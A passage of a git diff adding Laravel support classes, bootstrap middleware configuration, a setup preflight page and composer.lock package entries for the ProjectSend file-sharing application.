|| $remainingOffset >= $total) { + $items[$key] = collect(); + $remainingOffset = max(0, $remainingOffset - $total); + + continue; + } + + $limit = min($remainingLimit, $total - $remainingOffset); + $items[$key] = $query->skip($remainingOffset)->take($limit)->get(); + $remainingLimit -= $limit; + $remainingOffset = 0; + } + + $paginator = new LengthAwarePaginator([], $totalItems, $perPage, $page, $paginatorOptions); + + return ['items' => $items, 'paginator' => $paginator]; + } +} diff --git a/app/Support/Concerns/HasUniqueSlug.php b/app/Support/Concerns/HasUniqueSlug.php new file mode 100644 index 00000000..ac4584c9 --- /dev/null +++ b/app/Support/Concerns/HasUniqueSlug.php @@ -0,0 +1,68 @@ +slug)) { + $model->slug = static::uniqueSlugFrom($model->name); + } + }); + } + + /** + * @param int|null $ignoreId the row being renamed, which must not + * collide with the slug it already holds + */ + public static function uniqueSlugFrom(string $name, ?int $ignoreId = null): string + { + $base = Str::slug($name) ?: static::slugFallback(); + $slug = $base; + $suffix = 2; + + $collides = fn (string $candidate): bool => static::query()->withTrashed() + ->where('slug', $candidate) + ->when($ignoreId !== null, fn (Builder $query) => $query->whereKeyNot($ignoreId)) + ->exists(); + + while ($collides($slug)) { + $slug = $base.'-'.$suffix; + $suffix++; + } + + return $slug; + } + + /** + * Stands in when the name slugs to nothing at all — a name of only + * punctuation or of characters Str::slug() drops entirely. + */ + abstract protected static function slugFallback(): string; +} diff --git a/app/Support/ContentDisposition.php b/app/Support/ContentDisposition.php new file mode 100644 index 00000000..8714c0ef --- /dev/null +++ b/app/Support/ContentDisposition.php @@ -0,0 +1,74 @@ + '_', '\\' => '_']); + + if (trim($filename) === '') { + $filename = 'download'; + } + + // Legacy filename= parameter: ASCII only. '%' is stripped because + // several clients percent-decode this value (the reason Symfony + // rejects it outright); '"' and '\' survive via quoted-string + // escaping below. Non-ASCII transliterates where possible. + $ascii = preg_replace('/[^\x20-\x7E]/', '', str_replace('%', '', Str::ascii($filename))) ?? ''; + + if (trim($ascii) === '') { + $ascii = 'download'; + } + + $header = $disposition.'; filename="'.addcslashes($ascii, '"\\').'"'; + + // Only when the ASCII form lost something: the RFC 8187 ext-value + // carrying the real name, which every current browser prefers over + // filename= when both are present. + if ($ascii !== $filename) { + $header .= "; filename*=utf-8''".rawurlencode($filename); + } + + return $header; + } +} diff --git a/app/Support/Pagination.php b/app/Support/Pagination.php new file mode 100644 index 00000000..4928835a --- /dev/null +++ b/app/Support/Pagination.php @@ -0,0 +1,59 @@ + component. Keeps every list controller emitting the same keys. + */ +class Pagination +{ + /** + * @param LengthAwarePaginator $paginator + * @return array{page: int, last_page: int, prev: ?string, next: ?string, total: int} + */ + public static function meta(LengthAwarePaginator $paginator): array + { + return [ + 'page' => $paginator->currentPage(), + 'last_page' => $paginator->lastPage(), + 'prev' => $paginator->previousPageUrl(), + 'next' => $paginator->nextPageUrl(), + 'total' => $paginator->total(), + ]; + } + + /** + * Whether a requested page number lands past the end of the results. + * + * A stale or guessed ?page= would otherwise render an empty list rather + * than the real one, so every paginated listing redirects back to the + * last real page instead. + * + * @param LengthAwarePaginator $paginator + */ + public static function isPastLastPage(LengthAwarePaginator $paginator, int $page): bool + { + return $page > $paginator->lastPage(); + } + + /** + * The page number that redirect should carry, or null on a single-page + * result so the URL stays clean. + * + * Small, but it was written out at five call sites, and each of them + * decides what a user's URL looks like after the redirect — the sort of + * expression that only has to be edited in four places to start + * disagreeing with itself. + * + * @param LengthAwarePaginator $paginator + */ + public static function redirectPage(LengthAwarePaginator $paginator): ?int + { + return $paginator->lastPage() > 1 ? $paginator->lastPage() : null; + } +} diff --git a/app/Support/PublicUrl.php b/app/Support/PublicUrl.php new file mode 100644 index 00000000..7f4df78e --- /dev/null +++ b/app/Support/PublicUrl.php @@ -0,0 +1,45 @@ + 'public.file', + $subject instanceof Folder => 'public.folder', + $subject instanceof Group => 'public.show', + }; + + // The slug is passed explicitly rather than the model: these routes + // bind on {folderSlug}/{groupSlug} rather than the model's route key, + // so handing over the model would put its id in the URL. + return route($route, [$this->settings->get(Setting::PublicListingSlug), $subject->slug]); + } +} diff --git a/app/Support/Rules.php b/app/Support/Rules.php new file mode 100644 index 00000000..37a7380d --- /dev/null +++ b/app/Support/Rules.php @@ -0,0 +1,107 @@ + + */ + public static function slug(string $table, ?int $ignoreId = null): array + { + $unique = Rule::unique($table, 'slug'); + + return [ + 'required_if:public,true', + 'nullable', + 'string', + 'max:255', + 'regex:/^[a-z0-9]+(-[a-z0-9]+)*$/', + $ignoreId === null ? $unique : $unique->ignore($ignoreId), + ]; + } + + /** + * The rule for an IANA timezone identifier. + * + * Shared because two things write `users.timezone` — the picker on the + * profile form and the silent browser detection behind PUT /timezone — + * and a zone the registry would refuse must not be storable through + * either. The framework's own `timezone` rule is not enough on its own: + * it accepts abbreviations and offsets that `DateTimeZone` tolerates + * but that never appear in the picker, so membership is checked too. + * + * Presence is the caller's business: both callers currently require it, + * but the field is always sent by a control that has a value, so + * whether an omission clears or keeps is a decision for the form, not + * for the format. + * + * @return array + */ + public static function timezone(): array + { + return ['string', 'timezone', Rule::in(app(TimezoneRegistry::class)->all())]; + } + + /** + * The rules protecting one form with a CAPTCHA, or none at all. + * + * Shared because four unrelated forms — login, client registration, + * the password-reset request and a visitor's comment — must each + * enforce this identically, and because "this installation does not + * protect this form" needs to read as an empty rule set at every one + * of them rather than as four slightly different conditionals. + * + * Spread into the caller's rules: + * + * $request->validate([ + * 'email' => ['required', 'email'], + * ...Rules::captcha(CaptchaForm::Login), + * ]); + * + * `bail` so a missing token is refused before any network call, and + * `required` even on the forms that let an unreachable provider + * through: failing open is about *our server* being unable to ask, and + * treating an absent field as an answer is precisely the bug that left + * v1's registration form unprotected. + * + * @return array> + */ + public static function captcha(CaptchaForm $form): array + { + if (! app(Captcha::class)->protects($form)) { + return []; + } + + return ['captcha_token' => ['bail', 'required', 'string', 'max:5000', new CaptchaRule($form)]]; + } +} diff --git a/artisan b/artisan new file mode 100755 index 00000000..8e04b422 --- /dev/null +++ b/artisan @@ -0,0 +1,15 @@ +#!/usr/bin/env php +handleCommand(new ArgvInput); + +exit($status); diff --git a/bootstrap/app.php b/bootstrap/app.php new file mode 100644 index 00000000..16b73ec4 --- /dev/null +++ b/bootstrap/app.php @@ -0,0 +1,110 @@ +withRouting( + web: __DIR__.'/../routes/web.php', + // Versioned at the prefix, not with a header or a query parameter: + // /api/v1 is a frozen contract, and a future /api/v2 gets its own + // route file rather than branching inside these controllers. + api: __DIR__.'/../routes/api.php', + apiPrefix: 'api/v1', + commands: __DIR__.'/../routes/console.php', + health: '/up', + ) + ->withMiddleware(function (Middleware $middleware) { + // Unset = trust nothing, which is correct for the shipped topology + // (nginx talks to PHP-FPM directly and passes the real REMOTE_ADDR). + // Behind anything else — a load balancer, Cloudflare, the hosted + // Cloud ingress — this MUST name the proxy, or every client appears + // to come from it: per-IP throttles collapse into one shared bucket + // and the download IP log records the proxy instead of the client. + $proxies = env('TRUSTED_PROXIES'); + + if (is_string($proxies) && $proxies !== '') { + $middleware->trustProxies(at: $proxies === '*' ? '*' : explode(',', $proxies)); + } + + $middleware->web(append: [ + // Binds every session to the password hash it was created under, + // so changing a password (or a reset) actually terminates the + // account's other sessions instead of leaving a stolen one live. + // Required for Auth::logoutOtherDevices() to have any effect. + AuthenticateSession::class, + EnsureSetupIsComplete::class, + EnsureAccountIsActive::class, + EnforceTwoFactor::class, + SetLocale::class, + HandleInertiaRequests::class, + AddLinkHeadersForPreloadedAssets::class, + ]); + + // The API group gets none of the web stack above — no session, no + // CSRF, no Inertia. Locale is the one thing worth carrying over, + // since validation messages are written for a human to read; the + // web SetLocale can't be reused because it reads the session. + $middleware->api(append: [ + SetApiLocale::class, + // Applied to the group rather than per route, so an endpoint + // added later is measured without anyone opting in. + RecordApiRequest::class, + ]); + + $middleware->throttleApi(); + + $middleware->validateCsrfTokens(except: [ + 'uploads/*/parts/*', + ]); + + // Swapped for the subclass only to name the CSRF cookie after this + // installation rather than after the framework — see that class for + // what sharing `XSRF-TOKEN` with a neighbouring app does. + // + // `web(replace:)` rather than the bare `replace()`: the latter only + // reaches the global stack, and CSRF lives in the web group, so it + // silently does nothing here. + $middleware->web(replace: [ + Illuminate\Foundation\Http\Middleware\ValidateCsrfToken::class => ValidateCsrfToken::class, + ]); + + $middleware->alias([ + 'capability' => EnsureCapability::class, + 'staff' => EnsureStaff::class, + 'staff-token' => EnsureStaffToken::class, + 'token-can' => EnsureTokenCan::class, + 'api-active' => EnsureApiAccountIsActive::class, + ]); + }) + ->withExceptions(function (Exceptions $exceptions) { + // RFC 7807 for /api/* only. Everything else — web pages, Inertia + // requests, the public share links — keeps Laravel's own handling + // untouched, which is why this is scoped by path rather than by + // whether the request happens to accept JSON (Inertia requests do). + $exceptions->render(function (Throwable $e, Request $request) { + $problems = app(ProblemDetails::class); + + return $problems->shouldHandle($request) + ? $problems->render($request, $e) + : null; + }); + })->create(); diff --git a/bootstrap/cache/.gitignore b/bootstrap/cache/.gitignore new file mode 100644 index 00000000..d6b7ef32 --- /dev/null +++ b/bootstrap/cache/.gitignore @@ -0,0 +1,2 @@ +* +!.gitignore diff --git a/bootstrap/preflight.php b/bootstrap/preflight.php new file mode 100644 index 00000000..8ef7d226 --- /dev/null +++ b/bootstrap/preflight.php @@ -0,0 +1,185 @@ +.env file was found, and no APP_KEY is set in this ' + .'environment. ProjectSend needs an application key before it can start.', + "Copy the example configuration, then generate the key:\n\n" + ."cp .env.example .env\nphp artisan key:generate", + ]; + } + + return [ + 'ProjectSend is not configured yet', + 'A .env file is present, but its APP_KEY is empty. ProjectSend ' + .'needs an application key before it can start.', + "Generate the key:\n\nphp artisan key:generate", + ]; +} + +/** + * Render the message and stop, or return so Laravel can take over. + * + * Called with no argument from public/index.php; the argument exists so + * tests can point it at a fixture directory. + */ +function projectsend_preflight(?string $root = null): void +{ + $failure = projectsend_preflight_failure($root ?? dirname(__DIR__)); + + if ($failure === null) { + return; + } + + [$title, $reason, $fix] = $failure; + + // 503, not 500: the install is temporarily unavailable pending setup, + // not broken. Retry-After keeps a well-behaved proxy or uptime check + // from hammering it while someone finishes the install. + if (! headers_sent()) { + http_response_code(503); + header('Content-Type: text/html; charset=UTF-8'); + header('Retry-After: 3600'); + header('Cache-Control: no-store'); + } + + $e = static fn (string $s): string => htmlspecialchars($s, ENT_QUOTES, 'UTF-8'); + + echo '' + .'' + .''.$e($title).'

' + .'

'.$e($title).'

' + .'

'.$reason.'

' + .'

'.$e(projectsend_preflight_intro($fix)).'

' + .'
'.$e(projectsend_preflight_command($fix)).'
' + .'

Run these as the user your web server runs as. ' + .'The full procedure is in INSTALL.md.

' + .'
'; + + exit; +} + +/** + * The sentence before the command block in a fix string. + */ +function projectsend_preflight_intro(string $fix): string +{ + return trim(explode("\n\n", $fix, 2)[0]); +} + +/** + * The command block from a fix string. + */ +function projectsend_preflight_command(string $fix): string +{ + $parts = explode("\n\n", $fix, 2); + + return trim($parts[1] ?? $parts[0]); +} + +// Auto-run when included by the front controller; suppressed under test so +// the pure helpers above can be exercised against fixtures. +if (! defined('PROJECTSEND_PREFLIGHT_TEST')) { + projectsend_preflight(); +} diff --git a/bootstrap/providers.php b/bootstrap/providers.php new file mode 100644 index 00000000..074e717a --- /dev/null +++ b/bootstrap/providers.php @@ -0,0 +1,23 @@ +=5.5" + }, + "require-dev": { + "phpunit/phpunit": "^4.8.35||^5.6.3||^9.5", + "yoast/phpunit-polyfills": "^1.0" + }, + "suggest": { + "ext-awscrt": "Make sure you install awscrt native extension to use any of the functionality." + }, + "type": "library", + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "AWS SDK Common Runtime Team", + "email": "aws-sdk-common-runtime@amazon.com" + } + ], + "description": "AWS Common Runtime for PHP", + "homepage": "https://github.com/awslabs/aws-crt-php", + "keywords": [ + "amazon", + "aws", + "crt", + "sdk" + ], + "support": { + "issues": "https://github.com/awslabs/aws-crt-php/issues", + "source": "https://github.com/awslabs/aws-crt-php/tree/v1.2.7" + }, + "time": "2024-10-18T22:15:13+00:00" + }, + { + "name": "aws/aws-sdk-php", + "version": "3.390.2", + "source": { + "type": "git", + "url": "https://github.com/aws/aws-sdk-php.git", + "reference": "a09e95bf062e15b7343f9c1362fd45c7a0dec39b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/aws/aws-sdk-php/zipball/a09e95bf062e15b7343f9c1362fd45c7a0dec39b", + "reference": "a09e95bf062e15b7343f9c1362fd45c7a0dec39b", + "shasum": "" + }, + "require": { + "aws/aws-crt-php": "^1.2.3", + "ext-json": "*", + "ext-pcre": "*", + "ext-simplexml": "*", + "guzzlehttp/guzzle": "^7.8.2 || ^8.0", + "guzzlehttp/promises": "^2.0.3 || ^3.0", + "guzzlehttp/psr7": "^2.6.3 || ^3.0", + "mtdowling/jmespath.php": "^2.9.1", + "php": ">=8.1", + "psr/http-message": "^1.0 || ^2.0", + "symfony/filesystem": "^v5.4.45 || ^v6.4.3 || ^v7.1.0 || ^v8.0.0" + }, + "require-dev": { + "andrewsville/php-token-reflection": "^1.4", + "aws/aws-php-sns-message-validator": "~1.0", + "behat/behat": "~3.0", + "composer/composer": "^2.7.8", + "dms/phpunit-arraysubset-asserts": "^v0.5.0", + "doctrine/cache": "~1.4", + "ext-dom": "*", + "ext-openssl": "*", + "ext-sockets": "*", + "phpunit/phpunit": "^10.0", + "psr/cache": "^2.0 || ^3.0", + "psr/simple-cache": "^2.0 || ^3.0", + "sebastian/comparator": "^1.2.3 || ^4.0 || ^5.0", + "yoast/phpunit-polyfills": "^2.0" + }, + "suggest": { + "aws/aws-php-sns-message-validator": "To validate incoming SNS notifications", + "doctrine/cache": "To use the DoctrineCacheAdapter", + "ext-curl": "To send requests using cURL", + "ext-openssl": "Allows working with CloudFront private distributions and verifying received SNS messages", + "ext-pcntl": "To use client-side monitoring", + "ext-sockets": "To use client-side monitoring" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.0-dev" + } + }, + "autoload": { + "files": [ + "src/functions.php" + ], + "psr-4": { + "Aws\\": "src/" + }, + "exclude-from-classmap": [ + "src/data/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "Amazon Web Services", + "homepage": "https://aws.amazon.com" + } + ], + "description": "AWS SDK for PHP - Use Amazon Web Services in your PHP project", + "homepage": "https://aws.amazon.com/sdk-for-php", + "keywords": [ + "amazon", + "aws", + "cloud", + "dynamodb", + "ec2", + "glacier", + "s3", + "sdk" + ], + "support": { + "forum": "https://github.com/aws/aws-sdk-php/discussions", + "issues": "https://github.com/aws/aws-sdk-php/issues", + "source": "https://github.com/aws/aws-sdk-php/tree/3.390.2" + }, + "time": "2026-07-31T18:06:07+00:00" + }, + { + "name": "bacon/bacon-qr-code", + "version": "v3.1.1", + "source": { + "type": "git", + "url": "https://github.com/Bacon/BaconQrCode.git", + "reference": "4da2233e72eeecd9be3b62e0dc2cc9ed8e2e31c2" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Bacon/BaconQrCode/zipball/4da2233e72eeecd9be3b62e0dc2cc9ed8e2e31c2", + "reference": "4da2233e72eeecd9be3b62e0dc2cc9ed8e2e31c2", + "shasum": "" + }, + "require": { + "dasprid/enum": "^1.0.3", + "ext-iconv": "*", + "php": "^8.1" + }, + "require-dev": { + "phly/keep-a-changelog": "^2.12", + "phpunit/phpunit": "^10.5.11 || ^11.0.4", + "spatie/phpunit-snapshot-assertions": "^5.1.5", + "spatie/pixelmatch-php": "^1.2.0", + "squizlabs/php_codesniffer": "^3.9" + }, + "suggest": { + "ext-imagick": "to generate QR code images" + }, + "type": "library", + "autoload": { + "psr-4": { + "BaconQrCode\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-2-Clause" + ], + "authors": [ + { + "name": "Ben Scholzen 'DASPRiD'", + "email": "mail@dasprids.de", + "homepage": "https://dasprids.de/", + "role": "Developer" + } + ], + "description": "BaconQrCode is a QR code generator for PHP.", + "homepage": "https://github.com/Bacon/BaconQrCode", + "support": { + "issues": "https://github.com/Bacon/BaconQrCode/issues", + "source": "https://github.com/Bacon/BaconQrCode/tree/v3.1.1" + }, + "time": "2026-04-05T21:06:35+00:00" + }, + { + "name": "brick/math", + "version": "0.14.8", + "source": { + "type": "git", + "url": "https://github.com/brick/math.git", + "reference": "63422359a44b7f06cae63c3b429b59e8efcc0629" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/brick/math/zipball/63422359a44b7f06cae63c3b429b59e8efcc0629", + "reference": "63422359a44b7f06cae63c3b429b59e8efcc0629", + "shasum": "" + }, + "require": { + "php": "^8.2" + }, + "require-dev": { + "php-coveralls/php-coveralls": "^2.2", + "phpstan/phpstan": "2.1.22", + "phpunit/phpunit": "^11.5" + }, + "type": "library", + "autoload": { + "psr-4": { + "Brick\\Math\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "Arbitrary-precision arithmetic library", + "keywords": [ + "Arbitrary-precision", + "BigInteger", + "BigRational", + "arithmetic", + "bigdecimal", + "bignum", + "bignumber", + "brick", + "decimal", + "integer", + "math", + "mathematics", + "rational" + ], + "support": { + "issues": "https://github.com/brick/math/issues", + "source": "https://github.com/brick/math/tree/0.14.8" + }, + "funding": [ + { + "url": "https://github.com/BenMorel", + "type": "github" + } + ], + "time": "2026-02-10T14:33:43+00:00" + }, + { + "name": "carbonphp/carbon-doctrine-types", + "version": "3.2.0", + "source": { + "type": "git", + "url": "https://github.com/CarbonPHP/carbon-doctrine-types.git", + "reference": "18ba5ddfec8976260ead6e866180bd5d2f71aa1d" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/CarbonPHP/carbon-doctrine-types/zipball/18ba5ddfec8976260ead6e866180bd5d2f71aa1d", + "reference": "18ba5ddfec8976260ead6e866180bd5d2f71aa1d", + "shasum": "" + }, + "require": { + "php": "^8.1" + }, + "conflict": { + "doctrine/dbal": "<4.0.0 || >=5.0.0" + }, + "require-dev": { + "doctrine/dbal": "^4.0.0", + "nesbot/carbon": "^2.71.0 || ^3.0.0", + "phpunit/phpunit": "^10.3" + }, + "type": "library", + "autoload": { + "psr-4": { + "Carbon\\Doctrine\\": "src/Carbon/Doctrine/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "KyleKatarn", + "email": "kylekatarnls@gmail.com" + } + ], + "description": "Types to use Carbon in Doctrine", + "keywords": [ + "carbon", + "date", + "datetime", + "doctrine", + "time" + ], + "support": { + "issues": "https://github.com/CarbonPHP/carbon-doctrine-types/issues", + "source": "https://github.com/CarbonPHP/carbon-doctrine-types/tree/3.2.0" + }, + "funding": [ + { + "url": "https://github.com/kylekatarnls", + "type": "github" + }, + { + "url": "https://opencollective.com/Carbon", + "type": "open_collective" + }, + { + "url": "https://tidelift.com/funding/github/packagist/nesbot/carbon", + "type": "tidelift" + } + ], + "time": "2024-02-09T16:56:22+00:00" + }, + { + "name": "claviska/simpleimage", + "version": "3.7.2", + "source": { + "type": "git", + "url": "https://github.com/claviska/SimpleImage.git", + "reference": "82dbef988e356baa5d73993a1351bcb6c0959269" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/claviska/SimpleImage/zipball/82dbef988e356baa5d73993a1351bcb6c0959269", + "reference": "82dbef988e356baa5d73993a1351bcb6c0959269", + "shasum": "" + }, + "require": { + "ext-gd": "*", + "league/color-extractor": "0.3.*", + "php": ">=5.6.0" + }, + "type": "library", + "autoload": { + "psr-0": { + "claviska": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Cory LaViska", + "homepage": "http://www.abeautifulsite.net/", + "role": "Developer" + } + ], + "description": "A PHP class that makes working with images as simple as possible.", + "support": { + "issues": "https://github.com/claviska/SimpleImage/issues", + "source": "https://github.com/claviska/SimpleImage/tree/3.7.2" + }, + "funding": [ + { + "url": "https://github.com/claviska", + "type": "github" + } + ], + "time": "2022-12-12T14:31:53+00:00" + }, + { + "name": "dasprid/enum", + "version": "1.0.7", + "source": { + "type": "git", + "url": "https://github.com/DASPRiD/Enum.git", + "reference": "b5874fa9ed0043116c72162ec7f4fb50e02e7cce" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/DASPRiD/Enum/zipball/b5874fa9ed0043116c72162ec7f4fb50e02e7cce", + "reference": "b5874fa9ed0043116c72162ec7f4fb50e02e7cce", + "shasum": "" + }, + "require": { + "php": ">=7.1 <9.0" + }, + "require-dev": { + "phpunit/phpunit": "^7 || ^8 || ^9 || ^10 || ^11", + "squizlabs/php_codesniffer": "*" + }, + "type": "library", + "autoload": { + "psr-4": { + "DASPRiD\\Enum\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-2-Clause" + ], + "authors": [ + { + "name": "Ben Scholzen 'DASPRiD'", + "email": "mail@dasprids.de", + "homepage": "https://dasprids.de/", + "role": "Developer" + } + ], + "description": "PHP 7.1 enum implementation", + "keywords": [ + "enum", + "map" + ], + "support": { + "issues": "https://github.com/DASPRiD/Enum/issues", + "source": "https://github.com/DASPRiD/Enum/tree/1.0.7" + }, + "time": "2025-09-16T12:23:56+00:00" + }, + { + "name": "dedoc/scramble", + "version": "v0.13.39", + "source": { + "type": "git", + "url": "https://github.com/dedoc/scramble.git", + "reference": "7fcc4758d62f22d326637a578168bd5eb67a8625" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/dedoc/scramble/zipball/7fcc4758d62f22d326637a578168bd5eb67a8625", + "reference": "7fcc4758d62f22d326637a578168bd5eb67a8625", + "shasum": "" + }, + "require": { + "illuminate/contracts": "^10.0|^11.0|^12.0|^13.0", + "myclabs/deep-copy": "^1.12", + "nikic/php-parser": "^5.0", + "php": "^8.1", + "phpstan/phpdoc-parser": "^1.0|^2.0", + "spatie/laravel-package-tools": "^1.9.2" + }, + "require-dev": { + "larastan/larastan": "^3.3", + "laravel/pint": "^v1.1.0", + "laravel/scout": "^10.0|^11.0", + "nunomaduro/collision": "^7.0|^8.0", + "orchestra/testbench": "^8.0|^9.0|^10.0|^11.0", + "pestphp/pest": "^2.34|^3.7|^4.4", + "pestphp/pest-plugin-laravel": "^2.3|^3.1|^4.1", + "phpstan/extension-installer": "^1.4", + "phpstan/phpstan-deprecation-rules": "^2.0", + "phpstan/phpstan-phpunit": "^2.0", + "phpunit/phpunit": "^10.5|^11.5.3|^12.5.12", + "spatie/laravel-permission": "^6.10|^7.2", + "spatie/pest-plugin-snapshots": "^2.1" + }, + "type": "library", + "extra": { + "laravel": { + "providers": [ + "Dedoc\\Scramble\\ScrambleServiceProvider" + ] + } + }, + "autoload": { + "psr-4": { + "Dedoc\\Scramble\\": "src", + "Dedoc\\Scramble\\Database\\Factories\\": "database/factories" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Roman Lytvynenko", + "email": "litvinenko95@gmail.com", + "role": "Developer" + } + ], + "description": "Automatic generation of API documentation for Laravel applications.", + "homepage": "https://github.com/dedoc/scramble", + "keywords": [ + "documentation", + "laravel", + "openapi" + ], + "support": { + "issues": "https://github.com/dedoc/scramble/issues", + "source": "https://github.com/dedoc/scramble/tree/v0.13.39" + }, + "funding": [ + { + "url": "https://github.com/romalytvynenko", + "type": "github" + } + ], + "time": "2026-08-06T06:42:48+00:00" + }, + { + "name": "dflydev/dot-access-data", + "version": "v3.0.3", + "source": { + "type": "git", + "url": "https://github.com/dflydev/dflydev-dot-access-data.git", + "reference": "a23a2bf4f31d3518f3ecb38660c95715dfead60f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/dflydev/dflydev-dot-access-data/zipball/a23a2bf4f31d3518f3ecb38660c95715dfead60f", + "reference": "a23a2bf4f31d3518f3ecb38660c95715dfead60f", + "shasum": "" + }, + "require": { + "php": "^7.1 || ^8.0" + }, + "require-dev": { + "phpstan/phpstan": "^0.12.42", + "phpunit/phpunit": "^7.5 || ^8.5 || ^9.3", + "scrutinizer/ocular": "1.6.0", + "squizlabs/php_codesniffer": "^3.5", + "vimeo/psalm": "^4.0.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "3.x-dev" + } + }, + "autoload": { + "psr-4": { + "Dflydev\\DotAccessData\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Dragonfly Development Inc.", + "email": "info@dflydev.com", + "homepage": "http://dflydev.com" + }, + { + "name": "Beau Simensen", + "email": "beau@dflydev.com", + "homepage": "http://beausimensen.com" + }, + { + "name": "Carlos Frutos", + "email": "carlos@kiwing.it", + "homepage": "https://github.com/cfrutos" + }, + { + "name": "Colin O'Dell", + "email": "colinodell@gmail.com", + "homepage": "https://www.colinodell.com" + } + ], + "description": "Given a deep data structure, access data by dot notation.", + "homepage": "https://github.com/dflydev/dflydev-dot-access-data", + "keywords": [ + "access", + "data", + "dot", + "notation" + ], + "support": { + "issues": "https://github.com/dflydev/dflydev-dot-access-data/issues", + "source": "https://github.com/dflydev/dflydev-dot-access-data/tree/v3.0.3" + }, + "time": "2024-07-08T12:26:09+00:00" + }, + { + "name": "directorytree/ldaprecord", + "version": "v3.8.6", + "source": { + "type": "git", + "url": "https://github.com/DirectoryTree/LdapRecord.git", + "reference": "a1cab9f078eb4756fc6fad58caea1e3d11cad0ec" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/DirectoryTree/LdapRecord/zipball/a1cab9f078eb4756fc6fad58caea1e3d11cad0ec", + "reference": "a1cab9f078eb4756fc6fad58caea1e3d11cad0ec", + "shasum": "" + }, + "require": { + "ext-iconv": "*", + "ext-json": "*", + "ext-ldap": "*", + "illuminate/collections": "^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/contracts": "^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", + "nesbot/carbon": "*", + "php": ">=8.1", + "psr/log": "*", + "psr/simple-cache": "^1.0|^2.0|^3.0" + }, + "require-dev": { + "fakerphp/faker": "^1.21", + "laravel/pint": "^1.6", + "mockery/mockery": "^1.0", + "phpunit/phpunit": "^9.0", + "spatie/ray": "^1.24" + }, + "type": "library", + "autoload": { + "psr-4": { + "LdapRecord\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Steve Bauman", + "email": "steven_bauman@outlook.com", + "role": "Developer" + } + ], + "description": "A fully-featured LDAP ORM.", + "homepage": "https://www.ldaprecord.com", + "keywords": [ + "active directory", + "ad", + "adLDAP", + "adldap2", + "directory", + "ldap", + "ldaprecord", + "orm", + "windows" + ], + "support": { + "docs": "https://ldaprecord.com", + "email": "steven_bauman@outlook.com", + "issues": "https://github.com/DirectoryTree/LdapRecord/issues", + "source": "https://github.com/DirectoryTree/LdapRecord" + }, + "funding": [ + { + "url": "https://github.com/stevebauman", + "type": "github" + } + ], + "time": "2026-03-19T20:55:30+00:00" + }, + { + "name": "doctrine/inflector", + "version": "2.1.0", + "source": { + "type": "git", + "url": "https://github.com/doctrine/inflector.git", + "reference": "6d6c96277ea252fc1304627204c3d5e6e15faa3b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/inflector/zipball/6d6c96277ea252fc1304627204c3d5e6e15faa3b", + "reference": "6d6c96277ea252fc1304627204c3d5e6e15faa3b", + "shasum": "" + }, + "require": { + "php": "^7.2 || ^8.0" + }, + "require-dev": { + "doctrine/coding-standard": "^12.0 || ^13.0", + "phpstan/phpstan": "^1.12 || ^2.0", + "phpstan/phpstan-phpunit": "^1.4 || ^2.0", + "phpstan/phpstan-strict-rules": "^1.6 || ^2.0", + "phpunit/phpunit": "^8.5 || ^12.2" + }, + "type": "library", + "autoload": { + "psr-4": { + "Doctrine\\Inflector\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Guilherme Blanco", + "email": "guilhermeblanco@gmail.com" + }, + { + "name": "Roman Borschel", + "email": "roman@code-factory.org" + }, + { + "name": "Benjamin Eberlei", + "email": "kontakt@beberlei.de" + }, + { + "name": "Jonathan Wage", + "email": "jonwage@gmail.com" + }, + { + "name": "Johannes Schmitt", + "email": "schmittjoh@gmail.com" + } + ], + "description": "PHP Doctrine Inflector is a small library that can perform string manipulations with regard to upper/lowercase and singular/plural forms of words.", + "homepage": "https://www.doctrine-project.org/projects/inflector.html", + "keywords": [ + "inflection", + "inflector", + "lowercase", + "manipulation", + "php", + "plural", + "singular", + "strings", + "uppercase", + "words" + ], + "support": { + "issues": "https://github.com/doctrine/inflector/issues", + "source": "https://github.com/doctrine/inflector/tree/2.1.0" + }, + "funding": [ + { + "url": "https://www.doctrine-project.org/sponsorship.html", + "type": "custom" + }, + { + "url": "https://www.patreon.com/phpdoctrine", + "type": "patreon" + }, + { + "url": "https://tidelift.com/funding/github/packagist/doctrine%2Finflector", + "type": "tidelift" + } + ], + "time": "2025-08-10T19:31:58+00:00" + }, + { + "name": "doctrine/lexer", + "version": "3.0.1", + "source": { + "type": "git", + "url": "https://github.com/doctrine/lexer.git", + "reference": "31ad66abc0fc9e1a1f2d9bc6a42668d2fbbcd6dd" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/lexer/zipball/31ad66abc0fc9e1a1f2d9bc6a42668d2fbbcd6dd", + "reference": "31ad66abc0fc9e1a1f2d9bc6a42668d2fbbcd6dd", 